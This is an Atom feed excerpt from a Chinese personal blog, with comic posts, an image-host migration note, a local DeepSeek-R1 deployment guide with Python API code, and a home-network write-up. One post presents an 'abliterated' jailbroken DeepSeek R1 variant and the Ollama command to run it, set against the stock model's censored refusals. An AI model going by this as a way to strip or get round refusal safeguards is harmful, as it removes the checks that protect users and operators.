    <content type="html"><![CDATA[<p><img src="https://nas.allbs.cn:8888/cloudpic/2025/04/79ef0ce85039277581e731d4a789a4e9.png" alt=""><br><img src="https://nas.allbs.cn:8888/cloudpic/2025/04/dadae2d69c981dc4a84e3e073c0dac3e.png" alt=""><br><img src="https://nas.allbs.cn:8888/cloudpic/2025/04/a3de1143fec4e92d4a24abc61c46364a.png" alt=""><br><img src="https://nas.allbs.cn:8888/cloudpic/2025/04/e2a0e6df6fc5d177575c146cff31fe55.png" alt=""><br><img src="https://nas.allbs.cn:8888/cloudpic/2025/04/24ead4f2e5031c24d639db065c00d817.png" alt=""><br><img src="https://nas.allbs.cn:8888/cloudpic/2025/04/328ebf0486be1061e6fa58f1b71536a2.png" alt=""><br><img src="https://nas.allbs.cn:8888/cloudpic/2025/04/cd81e86da0ade9c8d16729b96c180e34.png" alt=""><br><img src="https://nas.allbs.cn:8888/cloudpic/2025/04/c81ad95139b5a83a36175d31b5c82f12.png" alt=""><br><img src="https://nas.allbs.cn:8888/cloudpic/2025/04/6a5761302b72b205e609a6364f91066e.png" alt=""><br><img src="https://nas.allbs.cn:8888/cloudpic/2025/04/f575736d4fa2628406da880a7e9aeec2.png" alt=""><br><img src="https://nas.allbs.cn:8888/cloudpic/2025/04/d6b5f96da0292fbdf24ecc7d76f9d44a.png" alt=""><br><img src="https://nas.allbs.cn:8888/cloudpic/2025/04/1365a140caec0dfb5c20a4f30e454c84.png" alt=""><br><img src="https://nas.allbs.cn:8888/cloudpic/2025/04/b67f256f70863fcf09fb20f5a6c52a65.png" alt=""></p>]]></content>
    
    
    <summary type="html">叔叔 别拉了 我害怕</summary>
    
    
    
    <category term="漫画" scheme="https://blog.allbs.cn/categories/%E6%BC%AB%E7%94%BB/"/>
    
    
    <category term="段子" scheme="https://blog.allbs.cn/tags/%E6%AE%B5%E5%AD%90/"/>
    
    <category term="幽默" scheme="https://blog.allbs.cn/tags/%E5%B9%BD%E9%BB%98/"/>
    
  </entry>
  
  <entry>
    <title>公鸡 泻药 澡堂 半年假</title>
    <link href="https://blog.allbs.cn/posts/a83929e1/"/>
    <id>https://blog.allbs.cn/posts/a83929e1/</id>
    <published>2025-04-25T05:41:00.000Z</published>
    <updated>2025-11-28T06:48:01.058Z</updated>
    
    <content type="html"><![CDATA[<p><img src="https://nas.allbs.cn:8888/cloudpic/2025/04/b7edef02f10ac005a67cfd37edabe360.png" alt=""><br><img src="https://nas.allbs.cn:8888/cloudpic/2025/04/4c1627eae4de9371ca92afd146b3be36.png" alt=""><br><img src="https://nas.allbs.cn:8888/cloudpic/2025/04/f768d48e8247907481406e3703a82db8.png" alt=""><br><img src="https://nas.allbs.cn:8888/cloudpic/2025/04/0484cd8a2115d005cd50b4a00f263a9e.png" alt=""><br><img src="https://nas.allbs.cn:8888/cloudpic/2025/04/10767ea62d4f0c6aac2f00fc2689605e.png" alt=""><br><img src="https://nas.allbs.cn:8888/cloudpic/2025/04/cbea317ae94912877dfd2854ca4a388e.png" alt=""><br><img src="https://nas.allbs.cn:8888/cloudpic/2025/04/bde5be1ebaf6bc806afc804c00d57a4c.png" alt=""><br><img src="https://nas.allbs.cn:8888/cloudpic/2025/04/6680f636f0558ff066148375249e55c5.png" alt=""><br><img src="https://nas.allbs.cn:8888/cloudpic/2025/04/70e03375ea231e95b34fd7ded7a4a2f3.png" alt=""><br><img src="https://nas.allbs.cn:8888/cloudpic/2025/04/29564e63640dcd39d6419db38fcf934c.png" alt=""><br><img src="https://nas.allbs.cn:8888/cloudpic/2025/04/2d22ae334e4303ec4564ad7b2ef612b4.png" alt=""><br><img src="https://nas.allbs.cn:8888/cloudpic/2025/04/c59fa29eb73639ecec4db2353fe104ae.png" alt=""><br><img src="https://nas.allbs.cn:8888/cloudpic/2025/04/985da51e593cc39c88ac7b5bf1afbcdd.png" alt=""><br><img src="https://nas.allbs.cn:8888/cloudpic/2025/04/d6f271fd9f7ef104347b5c027d89b080.png" alt=""><br><img src="https://nas.allbs.cn:8888/cloudpic/2025/04/ade136f4cc00e358b9c3d4705e945014.png" alt=""></p>]]></content>
    
    
    <summary type="html">公鸡 泻药 澡堂 半年假</summary>
    
    
    
    <category term="漫画" scheme="https://blog.allbs.cn/categories/%E6%BC%AB%E7%94%BB/"/>
    
    
    <category term="段子" scheme="https://blog.allbs.cn/tags/%E6%AE%B5%E5%AD%90/"/>
    
    <category term="幽默" scheme="https://blog.allbs.cn/tags/%E5%B9%BD%E9%BB%98/"/>
    
  </entry>
  
  <entry>
    <title>漫画-程序员笑话</title>
    <link href="https://blog.allbs.cn/posts/76122ef5/"/>
    <id>https://blog.allbs.cn/posts/76122ef5/</id>
    <published>2025-04-24T05:41:00.000Z</published>
    <updated>2025-11-28T06:48:01.062Z</updated>
    
    <content type="html"><![CDATA[<p><img src="https://nas.allbs.cn:8888/cloudpic/2025/04/8fa0307a4c94f8729d79a35595de588a.png" alt=""><br><img src="https://nas.allbs.cn:8888/cloudpic/2025/04/248ae361007020d9a3221c971cfda876.png" alt=""><br><img src="https://nas.allbs.cn:8888/cloudpic/2025/04/9cfd0a9812d9021602365998b646bd37.png" alt=""><br><img src="https://nas.allbs.cn:8888/cloudpic/2025/04/bf6e4dc7c4d601e0d6475f1d43a1ebb7.png" alt=""><br><img src="https://nas.allbs.cn:8888/cloudpic/2025/04/56b8ca9ec1d3edac0ae34d267c8e88a6.png" alt=""><br><img src="https://nas.allbs.cn:8888/cloudpic/2025/04/d583fddf99934992d64f043754e7aaf8.png" alt=""><br><img src="https://nas.allbs.cn:8888/cloudpic/2025/04/6d4d75e4395748abf54ed30d1bd0e9b2.png" alt=""><br><img src="https://nas.allbs.cn:8888/cloudpic/2025/04/840bbaf3dc4d7fdb7e614c4dea91b5dd.png" alt=""><br><img src="https://nas.allbs.cn:8888/cloudpic/2025/04/4f50a35b1589a16970dce34675aaa584.png" alt=""><br><img src="https://nas.allbs.cn:8888/cloudpic/2025/04/f816f6c7f9aab4029c894f7e5fc0a50d.png" alt=""><br><img src="https://nas.allbs.cn:8888/cloudpic/2025/04/ee2dd5fe8d1cd72b32215ec558f7a569.png" alt=""><br><img src="https://nas.allbs.cn:8888/cloudpic/2025/04/d4f5ae8b4feaf96e87188169b51804c9.png" alt=""></p>]]></content>
    
    
    <summary type="html">经典程序员笑话</summary>
    
    
    
    <category term="漫画" scheme="https://blog.allbs.cn/categories/%E6%BC%AB%E7%94%BB/"/>
    
    
    <category term="段子" scheme="https://blog.allbs.cn/tags/%E6%AE%B5%E5%AD%90/"/>
    
    <category term="幽默" scheme="https://blog.allbs.cn/tags/%E5%B9%BD%E9%BB%98/"/>
    
  </entry>
  
  <entry>
    <title>图床文件迁移</title>
    <link href="https://blog.allbs.cn/posts/11e51ff7/"/>
    <id>https://blog.allbs.cn/posts/11e51ff7/</id>
    <published>2025-04-01T03:34:00.000Z</published>
    <updated>2025-11-28T06:48:01.046Z</updated>
    
    <content type="html"><![CDATA[<h2 id="Cloudflare-R2-调用次数飙升">Cloudflare R2 调用次数飙升</h2><p>最近为了增强博客浏览体验，最终上了cdn，做了国内外分流。国内使用的是腾讯云EdgeOne，有一说一挺烂的，居然不支持自动部署证书，还得手动申请一个再关联上。。。对比Cloudflare的小黄云体验极差。</p><p>回到正题，众所周知，cloudflare R2按调用次数算，看了下数据，几天已经5w多次调用了，骇的我感觉考虑其他方案。</p><h2 id="大盘鸡">大盘鸡</h2><p>原先我的图床搭建在家里得nas上，因为刷pt上了运营商黑名单，上传带宽只有50M，也就是上传速度就剩6.25了。所以也就将图片迁移到了Cloudflare R2上。因为上述原因加上一些其他考虑，最终还是决定弄个大盘鸡吧。</p><h2 id="选择">选择</h2><p>正好cnfaster做活动，花了420多买了一个如下配置的香港VPS：</p><p><img src="https://nas.allbs.cn:8888/cloudpic/ai/2025/04/07e735326947fde12e00825ca18fda34.png" alt="大盘鸡"></p><p>价格还是挺便宜的，就是不知道会不会跑路。流量8T，1000G硬盘放国内云厂商我都不敢想，这还是香港vps，可以打科学上网。</p><p>有需要的可以自己去看看</p><p><a href="https://cnfaster.com/recommend/v5g7bb2wrgaV">https://cnfaster.com/recommend/v5g7bb2wrgaV</a></p><h2 id="迁移脚本">迁移脚本</h2><p>回到正题，Cloudflare R2有接近3个G的文件，上万张图片，不可能手动去做，所以就写了一个脚本去实现。有需要的github自取</p><p><a href="https://github.com/chenqi92/CloneS3toS3">https://github.com/chenqi92/CloneS3toS3</a></p><p>简单使用方式(其他相关配置可见md)：</p><p>拷贝文件并生成新的config.ini</p><p><img src="https://nas.allbs.cn:8888/cloudpic/ai/2025/04/a0d16ee5c81f727abb6ca7ec1a0ff95c.png" alt="拷贝文件"></p><p>然后执行命令即可</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python main.py --config config.ini</span><br></pre></td></tr></table></figure><h2 id="实现效果">实现效果</h2><p><img src="https://nas.allbs.cn:8888/cloudpic/ai/2025/04/bf9893262ad5ea0188ce6ad0ecea96bd.png" alt="实现效果"></p>]]></content>
    
    
    <summary type="html">将Cloudflare R2中的所有文件迁移至自建图床中</summary>
    
    
    
    <category term="脚本" scheme="https://blog.allbs.cn/categories/%E8%84%9A%E6%9C%AC/"/>
    
    
    <category term="脚本" scheme="https://blog.allbs.cn/tags/%E8%84%9A%E6%9C%AC/"/>
    
  </entry>
  
  <entry>
    <title>如何让deepseek R1模型摆脱束缚，回答一些敏感问题</title>
    <link href="https://blog.allbs.cn/posts/e6935f6b/"/>
    <id>https://blog.allbs.cn/posts/e6935f6b/</id>
    <published>2025-02-08T08:19:41.000Z</published>
    <updated>2025-11-28T06:48:01.046Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p>deepseek R1的本地化部署可以看我前篇内容，这篇跳过了</p></blockquote><h2 id="效果对比">效果对比</h2><h3 id="这是没有问到没有训练过内容的效果">这是没有问到没有训练过内容的效果</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2025/02/245402b1b5872b857bbee5a2fa846631.png" alt="没有训练过"></p><h3 id="这是训练过内容，但是因为某种原因不能公开的效果">这是训练过内容，但是因为某种原因不能公开的效果</h3><p>我就不把深度思考内容点开了，因为ai都知道不能说，我也不敢说<br><img src="https://nas.allbs.cn:8888/cloudpic/2025/02/d3234b7a5ba298dd3101314b61b36ad9.png" alt="训练过，但是有内容审查"></p><h3 id="这是越狱版的效果">这是越狱版的效果</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2025/02/a3b4170073bc4359ea63e2616c229af0.png" alt="越狱版"></p><h2 id="如何下载部署">如何下载部署</h2><p>部署方式和非越狱版一致，只是命令稍有不同。<br>模型所在地址:<br><a href="https://ollama.com/huihui_ai">https://ollama.com/huihui_ai</a><br>总共有7b、8b、14b、32b、70b五种（单指deepseek），这次我用的是4070Ti的台式机部署的，12g显存，所以下载了14b的版本。上篇文章用的是mac mini 16g内存所以用的是8b版本。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ollama run huihui_ai/deepseek-r1-abliterated:14b</span><br></pre></td></tr></table></figure><p>当然如果你有4块4090，或者mac高内存的话，可以尝试用70b版本。比如小黑96g的mac M2 max试了一下70b版本，效果要明显好于32b，但是每秒只有几tokens。</p>]]></content>
    
    
    <summary type="html">这不自己部署一个玩玩？</summary>
    
    
    
    <category term="ai" scheme="https://blog.allbs.cn/categories/ai/"/>
    
    
    <category term="ai" scheme="https://blog.allbs.cn/tags/ai/"/>
    
    <category term="deepseek" scheme="https://blog.allbs.cn/tags/deepseek/"/>
    
  </entry>
  
  <entry>
    <title>本地化部署并使用开源语言大模型DeepSeek-R1</title>
    <link href="https://blog.allbs.cn/posts/838b6d72/"/>
    <id>https://blog.allbs.cn/posts/838b6d72/</id>
    <published>2025-02-05T02:41:00.000Z</published>
    <updated>2025-11-28T06:48:01.046Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p>DeepSeek-R1 是一款强大的自然语言处理模型，适用于多种任务，如文本生成、问答系统、对话生成等。</p></blockquote><h2 id="设备">设备</h2><p>我是用的mac mini 2023款的，M2芯片，16g内存。苹果的芯片比较特别，是统一内存架构，CPU、GPU和神经引擎都共享同一内存池，所以用来部署ai模型还是比较方便的。</p><h2 id="Ollama">Ollama</h2><p><strong>Ollama</strong> 是一个开源平台和工具，<strong>使用非常非常简单</strong>。Ollama旨在让用户更方便地在本地部署和运行大型语言模型（如GPT等）并进行推理。其目的是通过简化部署流程，让开发者和研究人员能够更容易地将AI模型（尤其是大型语言模型）集成到自己的应用中，而不必依赖于云服务提供商。</p><p>下面以Mac平台为例，windows和linux差不多。</p><h3 id="下载">下载</h3><p><a href="https://ollama.com/download?utm_source=lobehub&amp;utm_medium=docs&amp;utm_campaign=download-macos">https://ollama.com/download?utm_source=lobehub&amp;utm_medium=docs&amp;utm_campaign=download-macos</a></p><p><img src="https://nas.allbs.cn:8888/cloudpic/2025/02/d2708be553429dd7fd5c3623fb01cc32.png" alt="image.png"></p><h3 id="配置-Ollama-允许跨域访问">配置 Ollama 允许跨域访问</h3><p>由于 Ollama 的默认参数配置，启动时设置了仅本地访问，所以跨域访问以及端口监听需要进行额外的环境变量设置 <code>OLLAMA_ORIGINS</code>。使用 <code>launchctl</code> 设置环境变量：</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">launchctl setenv OLLAMA_ORIGINS <span class="string">&quot;*&quot;</span></span><br></pre></td></tr></table></figure><p>完成设置后，需要重启 Ollama 应用程序。</p><h2 id="下载模型">下载模型</h2><p>下载模型也很简单，再ollama启动后，执行以下命令即可：</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ollama pull 模型名称</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2025/02/55c665bf799d8f70d657ad0c0070da3d.png" alt="以deepseek-r1 7b模型为例"></p><h2 id="实际使用">实际使用</h2><h3 id="1-直接控制台里面对话">1.直接控制台里面对话</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2025/02/8bfa054a919a70b1f4f3dda49cebcc46.png" alt="控制台运行对话"></p><h3 id="2-自己写代码">2.自己写代码</h3><p>比如：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> json</span><br><span class="line"></span><br><span class="line"><span class="comment"># 配置参数</span></span><br><span class="line">OLLAMA_API_URL = <span class="string">&quot;http://localhost:11434/api/generate&quot;</span></span><br><span class="line">MODEL_NAME = <span class="string">&quot;deepseek-r1:7b&quot;</span>  <span class="comment"># 需替换为Ollama中实际模型名称</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">generate_response</span>(<span class="params">prompt, stream=<span class="literal">False</span></span>):</span><br><span class="line">    <span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">    调用Ollama API生成对话响应</span></span><br><span class="line"><span class="string">    :param prompt: 用户输入的提示文本</span></span><br><span class="line"><span class="string">    :param stream: 是否使用流式响应</span></span><br><span class="line"><span class="string">    :return: 生成的文本或流式响应生成器</span></span><br><span class="line"><span class="string">    &quot;&quot;&quot;</span></span><br><span class="line">    payload = &#123;</span><br><span class="line">        <span class="string">&quot;model&quot;</span>: MODEL_NAME,</span><br><span class="line">        <span class="string">&quot;prompt&quot;</span>: prompt,</span><br><span class="line">        <span class="string">&quot;stream&quot;</span>: stream,</span><br><span class="line">        <span class="string">&quot;options&quot;</span>: &#123;</span><br><span class="line">            <span class="string">&quot;temperature&quot;</span>: <span class="number">0.7</span>,     <span class="comment"># 控制随机性 (0.0-1.0)</span></span><br><span class="line">            <span class="string">&quot;max_tokens&quot;</span>: <span class="number">512</span>,      <span class="comment"># 最大生成token数</span></span><br><span class="line">            <span class="string">&quot;top_p&quot;</span>: <span class="number">0.9</span>            <span class="comment"># 控制生成多样性</span></span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        response = requests.post(</span><br><span class="line">            OLLAMA_API_URL,</span><br><span class="line">            json=payload,</span><br><span class="line">            stream=stream,</span><br><span class="line">            headers=&#123;<span class="string">&quot;Content-Type&quot;</span>: <span class="string">&quot;application/json&quot;</span>&#125;,</span><br><span class="line">            timeout=<span class="number">60</span></span><br><span class="line">        )</span><br><span class="line">        response.raise_for_status()</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> stream:</span><br><span class="line">            <span class="comment"># 处理流式响应</span></span><br><span class="line">            <span class="keyword">for</span> chunk <span class="keyword">in</span> response.iter_lines():</span><br><span class="line">                <span class="keyword">if</span> chunk:</span><br><span class="line">                    decoded_chunk = json.loads(chunk.decode(<span class="string">&quot;utf-8&quot;</span>))</span><br><span class="line">                    <span class="keyword">yield</span> decoded_chunk.get(<span class="string">&quot;response&quot;</span>, <span class="string">&quot;&quot;</span>)</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            <span class="comment"># 处理非流式响应</span></span><br><span class="line">            full_response = response.json()</span><br><span class="line">            <span class="keyword">return</span> full_response.get(<span class="string">&quot;response&quot;</span>, <span class="string">&quot;No response generated&quot;</span>)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">except</span> requests.exceptions.RequestException <span class="keyword">as</span> e:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;API请求失败: <span class="subst">&#123;<span class="built_in">str</span>(e)&#125;</span>&quot;</span>)</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">None</span></span><br><span class="line">    <span class="keyword">except</span> json.JSONDecodeError:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;响应解析失败&quot;</span>)</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">None</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 示例使用</span></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    <span class="comment"># 非流式对话示例</span></span><br><span class="line">    user_input = <span class="string">&quot;请用Python写一个快速排序算法&quot;</span></span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&quot;[用户]: <span class="subst">&#123;user_input&#125;</span>&quot;</span>)</span><br><span class="line">    response = generate_response(user_input)</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&quot;[AI]: <span class="subst">&#123;response&#125;</span>&quot;</span>)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># 流式对话示例</span></span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;\n流式对话演示:&quot;</span>)</span><br><span class="line">    user_input_stream = <span class="string">&quot;解释量子计算的基本原理&quot;</span></span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&quot;[用户]: <span class="subst">&#123;user_input_stream&#125;</span>&quot;</span>)</span><br><span class="line">    <span class="keyword">for</span> chunk <span class="keyword">in</span> generate_response(user_input_stream, stream=<span class="literal">True</span>):</span><br><span class="line">        <span class="built_in">print</span>(chunk, end=<span class="string">&quot;&quot;</span>, flush=<span class="literal">True</span>)</span><br><span class="line">    <span class="built_in">print</span>()</span><br></pre></td></tr></table></figure><h3 id="3-chrome插件">3.chrome插件</h3><p>Page Assist插件，左上角选择模型，齿轮可以设置语言和模型相关参数。<br><img src="https://nas.allbs.cn:8888/cloudpic/2025/02/e7d2f48fea4bafe49c69fb87e4d0ad51.png" alt="image.png"></p><h3 id="4-lobe-chat">4.lobe-chat</h3><p>这个软件是一个各平台ai的集成工具，我部署的是一个服务器版，并配置了登录校验和知识库。这个工具可以随时切换各种模型使用，还是挺方便的。建议设置的时候勾选客户端模式，毕竟不少模型还是需要魔法的。</p><p>注意这软件有bug，连通性检查虽然不通过，但是实际模型是可以正常使用的。</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2025/02/736a9eb2bebf59a90a05b152d8fcc5e7.png" alt="模型配置"></p>]]></content>
    
    
    <summary type="html">这不自己部署一个玩玩？</summary>
    
    
    
    <category term="ai" scheme="https://blog.allbs.cn/categories/ai/"/>
    
    
    <category term="ai" scheme="https://blog.allbs.cn/tags/ai/"/>
    
  </entry>
  
  <entry>
    <title>家中网络建设与服务配置经验谈</title>
    <link href="https://blog.allbs.cn/posts/b7be82e5/"/>
    <id>https://blog.allbs.cn/posts/b7be82e5/</id>
    <published>2025-01-24T04:23:00.000Z</published>
    <updated>2025-11-28T06:48:01.058Z</updated>
    
    <content type="html"><![CDATA[<h2 id="网络拓扑">网络拓扑</h2><div class="mermaid-wrap"><pre class="mermaid-src" hidden>  graph TB    Modem[光猫]    StudyRouter[书房主路由]    LivingRouter[客厅子路由]    Switch[2.5G交换机]    NAS[群晖923+]    IndustrialPC[N100软路由]    MiniPC1[迷你主机1]    MiniPC2[迷你主机2]    TV[TV]    PC[4070Ti主机]    SwitchConsole[智能设备网关]    AppleTV[Apple TV]    DesktopPC[4060主机]    Modem --&gt;|网线| StudyRouter    StudyRouter --&gt;|网线| LivingRouter    StudyRouter --&gt;|光纤| Switch    StudyRouter --&gt;|网线| PC    Switch --&gt;|LAN| NAS    Switch --&gt;|LAN| IndustrialPC    Switch --&gt;|LAN| MiniPC1    Switch --&gt;|LAN| MiniPC2    LivingRouter --&gt;|LAN| TV    LivingRouter --&gt;|LAN| SwitchConsole    LivingRouter --&gt;|LAN| AppleTV    LivingRouter --&gt;|LAN| DesktopPC    LivingRouter -.-&gt;|有线Mesh| StudyRouter  </pre></div><h2 id="网线布控和宽带">网线布控和宽带</h2><h3 id="网线布控">网线布控</h3><ul><li><p>考虑到网线过多不美观，所以装修只从弱电箱引了两根弱电箱管道，分别到书房和客厅。</p></li><li><p>弱电箱位于客厅，只放置了光猫，入户光纤进入光猫。</p></li><li><p>光猫只使用了一个lan口，这个lan口接的网线通入书房主路由的wan口。</p></li><li><p>书房主路由的lan口使用网线通过弱电管道返回弱电箱中，再经过弱电管道直接到达客厅电视机下方的子路由，用于组有线mesh。</p></li></ul><blockquote><p>一般家庭装修其实采取的措施是光猫两个lan口分别到书房和客厅，或者是在弱电箱中加交换机。我采取的措施有点区别，是书房到客厅直接一根线不断，省了个路由器。</p></blockquote><h3 id="宽带">宽带</h3><ul><li>办理的电信千兆，因为不是2.5G套餐，所以没有给2.5G光猫，也就导致实际下载速度肯定是达不到千兆宽带的<strong>125 MB/s</strong>的。</li><li>找客服要了公网IPv4，客服没有多一句废话，只让你过十分钟重启即可。</li><li>最开始上传带宽具体多少没留意，因为刷PT太过嚣张，不到一周就刷了好几T，上了运营商黑名单，上传限制为<strong>50Mbps</strong>也就是<strong>6.25MB/s</strong>。PS：再给我一次机会绝对刷PT时先限速😩。</li></ul><h2 id="设备">设备</h2><p><img src="https://nas.allbs.cn:8888/cloudpic/2025/01/3d5e37a9290eb09eb25b8db91d1f5b29.jpeg" alt="机柜设备一览"></p><h3 id="机柜">机柜</h3><p>找了很久找到了这么一个小的，主要是为了放在书房的桌子下面，加上滑动底座举例桌子底部有个5公分左右，在我看来无论位置还是大小挺完美的。自带了一个温控风扇，这玩意得吐槽一下，通电后没注意温控的传感器跟机柜侧壁金属直接接触，砰的一声直接爆掉，空开跳掉，只能将传感器剪掉后线直接接上，这个小风扇要么一直开或者一直关了。</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2025/01/7cdfdb39da4a0ef0b459f062c3968b7e.jpeg" alt=""></p><h3 id="机柜底座">机柜底座</h3><p>找了一个洗衣机的底座来用，尺寸还挺合适。为什么要底座呢？因为上面这个机柜本身设置为挂着的，所以线路的开孔是在下方😂只能加个底座。</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2025/01/57fff00cb52b52210cfacec4b428dbe4.jpeg" alt="机柜底座"></p><h3 id="主路由">主路由</h3><p>抱着一次折腾够，后续少折腾的想法，主路由直接上了万兆，4个网线口+1个光纤口。此外，加了一个usb用来跑docker，小米自带的docker管理工具事simpler Docker，用过的自有体会😞</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2025/01/2bbc423343fe3c5f868e3038395d6b5a.jpeg" alt="主路由"></p><h3 id="Mesh子路由">Mesh子路由</h3><p>我这配置买高了，实际上随便一个同品牌的就够了。</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2025/01/0cee6277f81e9a2dedf88878dadf3f3a.jpeg" alt="Mesh子路由"></p><h3 id="交换机">交换机</h3><p>买这个交换机主要还是为了减少路由器到设备间的网线，原本需要4跟傻大粗的网线从桌子上方通到下方，很丑，所以干脆上了光纤。需要注意的是光纤口其实有多种，要注意设备间的适配。</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2025/01/ff19c4d95c73ec222001d83bba0fa4ab.jpeg" alt=""></p><h3 id="光纤头子">光纤头子</h3><p>光纤自带的接口实际上是无法插入家用设备的，需要搭配这个头子来使用，也就是光纤的接口插入这个头子，头子再插入路由器或者交换机， 话说这玩意还挺贵的😂可以上咸鱼找找，应该有不少机房淘汰的但能用的。</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2025/01/3eb96e70fae125701ef3f7395c9eaad2.jpeg" alt=""></p><h3 id="NAS">NAS</h3><p>用的<strong>群晖923+</strong>，群晖胜在系统稳定，生态齐全，如果你有国外的apple id你会发现他家其实还有很多的软件能够下载。群晖硬件很拉跨，一直被吐槽买软件送硬件。这台机器买之前一直用的ds218+，结果咸鱼上居然还能以60%价格出手，不算很亏。硬盘我是上了4块4T酷狼，因为怕吵就没上氦气盘。考虑到影视的存储，单独买了一块16T的用外置硬盘盒挂在了群晖上。</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2025/01/ce5dc2c5c66e46a7764316e421aa55f7.jpeg" alt=""></p><h3 id="软路由">软路由</h3><p>N100的机器，主要用来做软路由，刷的istoreOS。软路由嘛懂得都懂，主要是用来富强和跳广告的。除此之外，这台机器安装PT相关的各种套件，如nastool，qb等，在阿里云没限制挂载前，也弄过小雅alist。自从阿里云来那么一出，再也不相信任何网盘了。这里多说一句，畅网是真扣，硅脂舍不得用。买回来不加硅脂前CPU常态80、90度，加了之后稳定40度以下。</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2025/01/5edc5fc186b8033a45c73e410b9f98ce.jpeg" alt=""></p><h3 id="mac-mini">mac mini</h3><p>在咸鱼上花了几块钱找学生弄了个教育版优惠，少不少钱。平时主要用来开发，附带装了Emby，实在是Emby装N100里实在是难为它了。题外话，2024的mac mini加上国补性价比吊打各个小主机。</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2025/01/ed81b1932d9c55c73626d88701bcf267.jpeg" alt=""></p><h3 id="迷你主机">迷你主机</h3><p>考虑到机柜它就那么大，能放的实在有限，只能放迷你主机了。陆续入手了2台，主要用来跑各种第三方服务，以及自己开发的一些业务服务，通过公网代理出去使用，云服务器实在用不起。分别为机械师和雷神，最近看了一款MS-01还不错，有点后悔机械师入手早了。</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2025/01/f4ebd332cdc1106acff154646405b751.jpeg" alt=""></p><p><img src="https://nas.allbs.cn:8888/cloudpic/2025/01/0dc38767cdbde3099f351f9565914f9b.jpeg" alt=""></p><h2 id="服务篇">服务篇</h2><blockquote><p>这里就集中起来大概列举一些自己能记得的</p></blockquote><ul><li>NasTool 管理PT站点，自动订阅影视内容</li><li>Emby 影视内容统一管理，刮削生成海报墙</li><li>qBittorrent PT影视下载</li><li>WireGuard 用于公网服务器和家中主机组网，将服务从公网服务器代理出去</li><li>minio 主要用来做图床用</li><li>qinglong 定时脚本管理平台，薅羊毛必备</li><li>reader 阅读服务器版</li><li>timescaledb 时序数据库</li><li>music_tag 音乐刮削</li><li>vaultwarden 多平台密码管理</li><li>gitea 私有代码仓库</li><li>lobe-chat 各平台ai聚合</li><li><a href="http://acme.sh">acme.sh</a> 自动的免费续签ssl证书</li><li>kkfileview 文件预览服务</li><li>mysql 关系型数据库</li><li>redis 内存数据库</li><li>rabbitmq 消息队列</li><li>dailyhot-api 每日热点</li></ul>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;网络拓扑&quot;&gt;网络拓扑&lt;/h2&gt;
